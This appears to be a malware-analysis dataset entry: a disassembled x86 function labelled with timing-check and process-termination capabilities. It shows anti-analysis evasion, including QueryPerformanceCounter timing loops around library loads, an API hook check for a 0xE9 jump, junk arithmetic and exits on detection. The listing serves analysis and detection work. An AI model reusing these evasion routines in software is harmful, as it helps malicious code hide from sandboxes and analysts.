Function at 0x403c01
Capabilities:
Check for time delay via queryperformancecounter
Terminate process

Disassembly:
inc edx
stosb byte es:[edi], al
in eax, dx
pop eax
stosb byte es:[edi], al
mov dl, 0x2c
mov edi, 0x74abe58
cmp bl, byte [eax + 0xfde92bf]
sbb dword es:[ebp - 0x75], edx
push ebp
mov ebp, esp
sub esp, 0x4a8
push ebx
push esi
push 0xe
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movzx eax, ax
cmp eax, 0xe
je 0x403c24
push 1
call dword [sym.imp.msvcrt.dll_exit]
mov dword [ebp - 8], 0x169a62e6
or dword [ebp - 0x138], 0xffffffff
xor eax, dword [ebp - 0x138]
mov dword [ebp - 0x14], eax
not dword [ebp - 0x14]
not eax
sub dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 0xffffffff
jne 0x403c96
push 0xf0
push 0xdc
push 0x50
push 0xcd
push 0xd9
push 0x66
push 0x3c
pop eax
call fcn.00403a1d
add esp, 0x18
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.WINSPOOL.DRV_ClosePrinter]
push 0
push 0
push 0
call dword [sym.imp.WINMM.dll_PlaySoundA]
push 0xc
call dword [sym.imp.msvcrt.dll_exit]
and dword [ebp - 0x10], 0
push ecx
fldz
fstp dword [esp]
push ecx
fldz
fstp dword [esp]
push 0x7fda965a
push 0x7fda965a
push 0x7fda965a
push 0
call dword [sym.imp.GDI32.dll_AngleArc]
and eax, 0x3c7a9cb6
add eax, 3
mov dword [ebp - 0x184], eax
push 0x48
pop eax
sub eax, dword [ebp - 0x184]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x194]
xor eax, 0x1532
mov dword [ebp - 0x19c], eax
mov eax, 0xed
xor eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a8], eax
push 0x5f
pop eax
xor eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x180], eax
push 0
push 0x5b208ac9
push 0x5b208ac9
push 0
call dword [sym.imp.GDI32.dll_AnimatePalette]
and eax, 0x9e7
mov ecx, dword [ebp - 0x180]
or ecx, 0xcb196033
xor edx, edx
div ecx
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x190]
xor edx, edx
mov ecx, 0x9a30d27d
div ecx
mov dword [ebp - 0x198], edx
mov ecx, 0xd1
or ecx, 0x7aaf7937
mov eax, dword [ebp - 0x198]
xor edx, edx
div ecx
mov dword [ebp - 0x1a4], edx
mov ecx, dword [ebp - 0x1a4]
or ecx, 0xa7bf681b
push 0x44
pop eax
xor edx, edx
div ecx
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
imul eax, eax, 0x5a2b
mov dword [ebp - 0x18c], eax
push 0x13
pop ecx
or ecx, 0x89831951
mov eax, dword [ebp - 0x18c]
xor edx, edx
div ecx
mov dword [ebp - 0x1a0], edx
mov eax, 0x44bc
sub eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x14], eax
and dword [ebp - 8], 0
push 0xe6
push 0x11
push 0xdb
push 0xfe
push dword [ebp - 0x14]
push 0x43
pop ecx
mov eax, 0x88
push 0x39
pop edx
call fcn.00403a7c
add esp, 0x14
mov dword [ebp - 0x14], eax
push 0x58
call dword [sym.imp.USER32.dll_CharLowerA]
cmp eax, 0x78
jne 0x4041d3
and dword [ebp - 0x2d4], 0
lea eax, [ebp - 0x2cc]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
and dword [ebp - 0x1b0], 0
jmp 0x403e31
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0xa
jge 0x403e47
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x403e24
lea eax, [ebp - 0x2c4]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
and dword [ebp - 0x1b0], 0
jmp 0x403e6a
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0xa
jge 0x403e80
push str.kernel86.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x403e5d
lea eax, [ebp - 0x1b8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x2c4]
sub eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1b8]
sub eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x12
jle 0x403ed0
and dword [ebp - 0x2d8], 0
jmp 0x403eee
mov eax, dword [ebp - 0x1ac]
shl eax, 1
cmp eax, dword [ebp - 0x2d0]
ja 0x403e0e
mov dword [ebp - 0x2d8], 1
cmp dword [ebp - 0x2d8], 0
je 0x4041d3
and dword [ebp - 0x368], 0
mov eax, dword [0x428ea8]
imul eax, eax, 0x37187417
mov dword [ebp - 0x2ec], eax
mov ecx, dword [ebp - 0x2ec]
or ecx, 0xbe0eb9ae
mov eax, dword [ebp - 0x2e4]
xor edx, edx
div ecx
mov dword [ebp - 0x2f0], eax
mov ecx, dword [ebp - 0x2f0]
or ecx, 0xd63ed163
mov eax, 0x461a1e4f
xor edx, edx
div ecx
mov dword [ebp - 0x2f4], eax
mov eax, dword [ebp - 0x2f4]
mov dword [0x428ea8], eax
push dword [sym.imp.USER32.dll_SendMessageA]
pop dword [ebp - 0x368]
mov eax, dword [ebp - 0x368]
movzx eax, byte [eax]
shl eax, 0xa
push eax
xor ecx, ecx
call fcn.00403b9f
pop ecx
mov dword [0x428ea8], eax
mov eax, dword [ebp - 0x368]
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x368]
movzx eax, byte [eax]
shl eax, 0x13
push eax
push 0
call fcn.00403bc3
pop ecx
pop ecx
mov dword [0x428ea8], eax
mov eax, dword [ebp - 0x2fc]
mov al, byte [eax]
mov byte [ebp - 0x2f5], al
mov eax, dword [ebp - 0x368]
movzx eax, byte [eax]
shl eax, 0x18
push eax
xor eax, eax
call fcn.00403bda
pop ecx
mov dword [0x428ea8], eax
movzx eax, byte [ebp - 0x2f5]
cmp eax, 0xe9
je 0x403fe4
and dword [ebp - 0x36c], 0
jmp 0x4041ca
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x2e4], eax
mov eax, dword [ebp - 0x2e4]
mov eax, dword [eax]
call fcn.00403970
mov dword [0x428ea8], eax
mov eax, dword [ebp - 0x2e4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x368]
lea eax, [ecx + eax + 5]
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x2e8]
movzx ecx, byte [eax + 2]
mov eax, dword [ebp - 0x2e4]
mov eax, dword [eax]
call fcn.0040398c
mov dword [0x428ea8], eax
mov eax, dword [ebp - 0x2e8]
movzx eax, byte [eax]
shl eax, 0xa
push eax
xor ecx, ecx
call fcn.00403b9f
pop ecx
mov dword [0x428ea8], eax
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0x314], eax
mov eax, dword [ebp - 0x2e8]
movzx eax, byte [eax]
shl eax, 0x13
push eax
push 0
call fcn.00403bc3
pop ecx
pop ecx
mov dword [0x428ea8], eax
mov eax, dword [ebp - 0x314]
mov al, byte [eax]
mov byte [ebp - 0x30d], al
mov eax, dword [ebp - 0x2e8]
movzx eax, byte [eax]
shl eax, 0x18
push eax
xor eax, eax
call fcn.00403bda
pop ecx
mov dword [0x428ea8], eax
movzx eax, byte [ebp - 0x30d]
cmp eax, 0xe9
je 0x4040ba
and dword [ebp - 0x36c], 0
jmp 0x4041ca
mov eax, dword [ebp - 0x2e8]
movzx eax, byte [eax + 8]
push eax
mov eax, dword [ebp - 0x2e4]
push dword [eax]
jmp section..htext
cmp dword [ebp - 0x36c], 0
je 0x4041e6
push 0x3c
pop eax
call fcn.00403af1
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.msvcrt.dll_exit]
and dword [ebp - 0x130], 0
lea eax, [ebp - 0x1c]
push eax
push 0x4277d0
push 0x80000004
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 6
je 0x40422f
push 0x47
push 0x3d
push 0x90
mov eax, dword [ebp - 0x130]
call fcn.00403af7
add esp, 0xc
mov dword [ebp - 0x14], eax
jmp fcn.00404439
and dword [ebp - 0x49c], 0
lea eax, [ebp - 0x494]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
and dword [ebp - 0x378], 0
jmp 0x404259
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0xa
jge 0x40426f
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x40424c
lea eax, [ebp - 0x48c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
and dword [ebp - 0x378], 0
jmp 0x404292
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0xa
jge 0x4042a8
push str.kernel86.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x404285
lea eax, [ebp - 0x380]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x48c]
sub eax, dword [ebp - 0x494]
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x380]
sub eax, dword [ebp - 0x48c]
mov dword [ebp - 0x498], eax
mov eax, dword [ebp - 0x49c]
inc eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0x12
jle 0x4042f8
and dword [ebp - 0x4a0], 0
jmp 0x404316
mov eax, dword [ebp - 0x374]
shl eax, 1
cmp eax, dword [ebp - 0x498]
ja 0x404236
mov dword [ebp - 0x4a0], 1
cmp dword [ebp - 0x4a0], 0
je 0x4043d8
mov dword [ebp - 0x144], 0x135eafa6
mov dword [ebp - 0x13c], 0x9ccac30e
mov dword [ebp - 0x140], 0xeab9376c
mov dword [ebp - 0x148], 0x7a17f650
mov bl, bl
mov eax, 0x77ccbf79
mov eax, 0
mov eax, 0xa605fa4b
xor ecx, ecx
add ecx, 0x411af1
mov eax, dword [ebp - 0x144]
xor eax, dword [0x428e7c]
and eax, 0x47439265
push ecx
push ebp
pop dword [ebp - 0x154]
xor eax, eax
xor eax, 0x6a670fad
push esp
pop dword [ebp - 0x14c]
mov ecx, 0x4033b7
mov eax, dword [0x428e80]
sub eax, dword [ebp - 0x13c]
add eax, 0x8a6b1b11
push dword [ebp - 0x140]
pop dword [ebp - 0x150]
push 0x4043c6
push ecx
mov esi, esi
ret
mov eax, dword [ebp - 0x14]
or eax, 0x2f
mov dword [ebp - 0x4a4], eax
mov ecx, dword [ebp - 0x4a4]
or ecx, 0x79d067e9
mov eax, 0x40458d
xor edx, edx
div ecx
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.msvcrt.dll_exit]
pop esi
pop ebx
leave
ret 0x10